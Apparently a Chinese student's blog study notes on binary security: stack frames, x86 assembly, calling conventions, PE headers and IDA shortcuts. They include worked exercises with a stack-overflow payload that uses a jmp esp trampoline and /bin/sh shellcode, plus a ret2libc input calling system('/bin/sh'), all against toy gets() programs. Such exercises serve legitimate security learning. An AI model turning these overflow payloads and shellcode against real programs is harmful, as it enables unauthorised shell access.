River5tone

Binary security 基础

字数统计: 3.1k阅读时长: 11 min
2018/09/10 Share

暑期自学知识复习


0x00 栈帧

1.销毁栈帧的两种写法:
1
2
leave    <=>    mov esp, ebp
pop ebp
2.压参的两种写法:
1
2
3
4
5
push 1				sub esp,0xC
push 2 <=> mov [esp],3
push 3 mov [esp+0x4],2
call func mov [esp+0x8],1
call func
3.两个很棒的例题:
  1. 以下是一段C语言程序片段,假设栈可执行,“jmp esp”的地址为 0x8048570,s的位置在ebp - 0x30处。现在已知一段能获得系统控制台权限的shellcode“\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80” 请问如何构造输入,使得程序能获得系统控制台权限?

    1
    2
    3
    4
    5
    6
    int main(){ 	
    truechar s[16]; // ebp - 0x30
    truegets(s);
    trueputs(s);
    truereturn 0;
    }
    1
    2
    3
    4
    5
    Answer: 
    输入:
    ‘a’ * 0x34 + ‘\x70\x85\x04\x08’/*!!!小端序,低位储存低位,高位储存高位,逆序存储方式!!!*/ + ‘\x31\xc9\xf7\xe1\x51\x68\x2f\x2f
    \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80’
    (注:前0x34字节作为填充可为除换行符以外的所有字符) 【以上为常规思路,若利用Stack Pivoting技术抬高shellcode地址 的方法也正确,故答案不唯一】

    在函数返回的时候,ESP 恰好指向栈帧中返回地址的后 一个位置!

    一般情况下,ESP 寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP 所指的位置恰好是我们所淹没的返回地址的下一个位置。

    由于 ESP 寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们可以进行动态定位。

    (1)用内存中任意一个 jmp esp 指令的地址覆盖函数返回地址,而不是原来用手工查出的 shellcode 起始地址直接覆盖。

    (2)函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode。

    (3)由于 esp 在函数返回时仍指向栈区(函数返回地址之后),jmp esp 指令被执行后,处 理器会到栈区函数返回地址之后的地方取指令执行。

    (4)重新布置 shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一 段地方用任意数据填充,把 shellcode 恰好摆放在函数返回地址之后。这样,jmp esp 指令执行 过后会恰好跳进shellcode。

    这种定位 shellcode 的方法使用进程空间里一条 jmp esp 指令作为“跳板”,不论栈帧怎么 “移位”,都能够精确地跳回栈区,从而适应程序运行中 shellcode 内存地址的动态变化。

    ——<0day安全软件漏洞分析技术>

  2. 阅读以下C语言程序,请问如何布置输入可以使得程序执行system(“/bin/sh”)这个语句?并使得四字节整型变量a值改变为100(十进制)?其中输入变量s地址位于ebp - 0x20,变量a的地址为 ebp - 0x10system函数地址为0xfff53090处,“/bin/sh”字符串的地址为0xfff5602d处。

    1
    2
    3
    4
    5
    6
    int main() {
    char s[8]; // ebp - 0x20
    int a = 0xdeadbeef; // ebp - 0x10
    gets(s);
    return 0;
    }
    1
    'a' * 0x10 + '\x64\x00\x00\x00' + 'a' * 0x10 + '\x90\x30\xf5\xff' + 'aaaa' /*用于代替函数返回地址,前面进入system函数,为了符合栈帧格式,ebp下要有函数返回地址。注此时ebp还没有push进去*/ + '\x2d\x60\xf5\xff'

    一定注意讲函数操作的栈和实际地址分开!!!

0x01 汇编基础

1.16位、32位、64位汇编区别
  1. 寄存器

  2. 函数调用方式不同,32位、64位不再使用栈帧

  3. 16位操作系统的中段地址和偏移地址在32位中消失了,在32位操作系统中统一采用平坦的内存地址模式寻址。

  4. 16位操作系统中的程序运行在RING0级,也就是说普通程序和操作系统程序运行在同一个级别并且拥有最高权限,而32位操作系统中的程序一般只拥有RING3级别运行权限,程序的所有操作都受到操作系统控制,若程序要获得RING0操作特权只能通过驱动程序实现。

    386保护模式:分系统态与用户态,相当于起到隔离作用。

  5. 16位操作系统的可执行文件格式和32位操作系统的可执行文件格式不同,在32位的Windows操作系统中,可执行文件的格式加PE格式,32位的Windows操作系统运行在CPU的保护之上,而16位的系统则运行在CPU的实模式上。

2.lea

lea指令可以将有效地址传送到指定的的寄存器。对标志位无影响。

有时候可以用mov代替,也有特定起作用的时候。

3.test

test命令将两个操作数进行逻辑与运算,并根据运算结果设置相关的标志位。test命令的两个操作数不会被改变。运算结果在设置过相关标记位后会被丢弃。

test eax,eax 用于判断eax是否为0。

3.例题

阅读下面汇编代码,回答下面三个问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
truemov ecx, 0
L1:
lea edx, [esp + 0x28] //加粗
add edx, ecx
mov al, [edx]
test al, al
jz L2
or al, 0x80
mov [edx], al
inc ecx
jmp L1
L2:
lea eax, [esp + 0x28]
mov [esp + 0x4], eax
lea eax, [esp + 0x14]
mov [esp], eax
call strcmp
test eax, eax
jnz L3
call XXX
L3:
...

附加说明:从esp + 0x14这个内存地址开始,由低地址到高地址存放着一段二进制串,分别为:

E6 EC E1 E7 BA F4 E5 F3 F4 F4 E5 F3 F4 00

另外,在本程序中,[esp]存放着接下来所调用函数的第一个参数,[esp + 0x4]存放着接下来所调用函数的第 二个参数。在函数调用后面紧接着的eax存放着函数的返回值。

①红色加粗的那段指令可不可以改写成“mov edx, esp + 0x28”?请说明理由。

②从esp + 0x28这个内存地址开始,由低地址到高地址要存放着一段什么样的二进制串,XXX函数才会被调用?

③若第②题的二进制串的意义是一段ASCII码,请把它翻译成字符串。

Answer:

① 不能,因为语法上不允许

【解析】其实这条指令的意义是将esp+0x28这个结果赋给edx,但是若直接mov edx, esp+0x28,这个在语法上不允许,但是mov edx, [esp+0x28]是允许的,不过这样含义就变了,变成了将esp+0x28这个位置存放的值给edx了,所以变通一下,只要把它改成lea edx, [esp+0x28]就行了,这有点像C语言中*(&a)=1一样,实际上就是a赋值1,但是因为某些其他原因需要这么绕一下

!!!注意理解,该程序中需要引用esp+0x28做地址,但无法直接用mov赋,于是用了lea

66 6C 61 67 3A 74 65 73 74 74 65 73 74 00

【解析】我相信看完程序和题干内容后,你应该能反应过来,在esp+0x28esp+0x14这两个位置开始分别存放着两个二进制字串,我们姑且把它命名为a和b。现在是已知esp+0x14这个字串让你推出esp+0x28这个字串。先仔细分析L1那一小节,它先把esp+0x28这个值赋给edx作为字串的首地址,然后再把edx加上ecx,然后观察一下,这个ecx是从0开始,每次循环都inc加1,那么edx加上ecx相当于就是遍历这个二进制字串的每一个元素,用C语言风格写就是a[ecx]。这时候mov al, [edx]很关键,它说明取出edx所指向的元素,而且只取一个字节(因为左值是al,字长1字节)。这时候test al, aljz L2说明如果遇到0就不做了,直接跳到L2去,否则就将al0x80做“或”运算,并且把做完的结果又放回去。所以L1段的功能就是把二进制串a整体与0x80做“或”运算,以00作为结束。

这时候来看L2段,给[esp+0x4][esp]赋值的意义提示里面已经说了,是为了给strcmp函数传参,这个具体是为什么会在“栈帧”那一讲细说,这里只要知道是这个意思就行了,所以L2段写成C语言:

eax = strcmp(二进制串b的首地址,二进制串a的首地址);

1
2
3
4
5
6
7
8
9
> if (eax == 0)       //比较成功
> {
> XXX();
> }
> else {
> L3:
> ...
> }
>

所以这个程序的意思就很简单了,先将a字串与0x80做“或”运算再跟b比对,如果比对成功就可以执行XXX函数,否则不能执行。现在题目是已知b来反推a,所以我们来分析一下逆算法。

当m与0x80做“或”运算等于n时,由于0x80写成二进制就是10000000,也就是说m的后七位实际上是和n的后七位一样,关键是m的最高位有可能是0,也有可能是1,其实这道题我应该在第②题就告诉你们最终结果的含义是ASCII码,这样你们就知道最高位是0了,但是就算不提示,你们也要明白最终结果肯定是越接近可读字符越好,这也是CTF比赛中的潜规则,所以说如果二进制串中出现0x3X,0x4X,0x6X和部分0x7X(X表示一个任意的十六进制位)时一定要高度留心,因为它们作为ASCII码时是可读字符。

所以结果只要把b串的后七位不变,最高位变为0就行。

b串: E6 EC E1 E7 BA F4 E5 F3 F4 F4 E5 F3 F4 00

a串: 66 6C 61 67 3A 74 65 73 74 74 65 73 74 00`

第4题的第③小问也就自然了,把a串随便放到一个ASCII码转字符串的工具里面去,很容易发现其明文为:

flag:testtest

0x02 函数调用约定

__cdecl: C/C++默认方式,参数从右向左入栈,主调函数销参

__stdcall: windows API默认方式,参数从右向左入栈,被调函数销参;返回时命令为ret 0Ch,需要销毁三个参数。并且可以看到三个参数都是通过栈帧传递的。

__fastcall: 快速调用,参数优先从寄存器(ECX、EDX)传入 ;返回时命令为ret 4,表示一个需要销毁的参数。另外两个参数通过寄存器传递。

0x03 PE头

为装载时大小一致,补充部分区域用0补齐。

DOS头为了兼容DOS环境。

PE文件分析器了解一下。

0x04 IDA常用操作(先码为敬orz)

1.IDA常用快捷键
  1. 动态调试相关

    ESC 退到上一个操作地址

    F4 运行到光标处

    F7 单步执行

    F8 过程执行

    G 搜索地址或者符号

    CTRL+F7 运行到函数返回地址

    CTRL+ALT+B 打开断点列表

  2. C伪代码相关

    空格 反汇编窗口的图形模式与文本模式的互换

    分号键 注释

    Num + * 修改数组信息

    N 重命名

    X 交叉引用

    Y 明确设置函数信息

    F5 C伪代码

    ALT+A 修改字符串风格

  3. 汇编代码相关

    空格键 反汇编窗口切换文本跟图形

    C (code) 光标地址出内容解析成代码

    P 在函数开始处使用P,从当前地址处解析成函数

    D (data) 解析成数据

    A (ASCII) 解析成ASCII

    U (unDefined) 解析成未定义的内容

    ALT+A 修改字符串风格

    CTRL +S 二进制段的开始地址结束地址

  4. 其他

    ALT+B 搜索16进制 搜索opcode 如ELF文件头

    ALT+T 搜索文本

    ALT+M 添加标签

    CTRL+M 列出所有标签

    CTRL +S 二进制段的开始地址结束地址

2.IDA插件
  1. Keypatch

    超级好用的打补丁插件

  2. IDApython

    自行编写脚本

    无需安装

  3. findcrypt-yara

    找加密方式

  4. AndroidAttacher

    调试安卓中so文件

  5. x86emu

    CPU模拟器

  6. Ponce

    符号执行

0x04 小结

  1. 伪C代码具有欺骗性,汇编代码阅读及转换能力需提高
  2. 做题太少,看书太少,理解不足,练习不足,熟练度不足
CATALOG
  1. 1. 暑期自学知识复习
    1. 1.1. 0x00 栈帧
      1. 1.1.1. 1.销毁栈帧的两种写法:
      2. 1.1.2. 2.压参的两种写法:
      3. 1.1.3. 3.两个很棒的例题:
    2. 1.2. 0x01 汇编基础
      1. 1.2.1. 1.16位、32位、64位汇编区别
      2. 1.2.2. 2.lea
      3. 1.2.3. 3.test
      4. 1.2.4. 3.例题
    3. 1.3. 0x02 函数调用约定
    4. 1.4. 0x03 PE头
    5. 1.5. 0x04 IDA常用操作(先码为敬orz)
      1. 1.5.1. 1.IDA常用快捷键
      2. 1.5.2. 2.IDA插件
    6. 1.6. 0x04 小结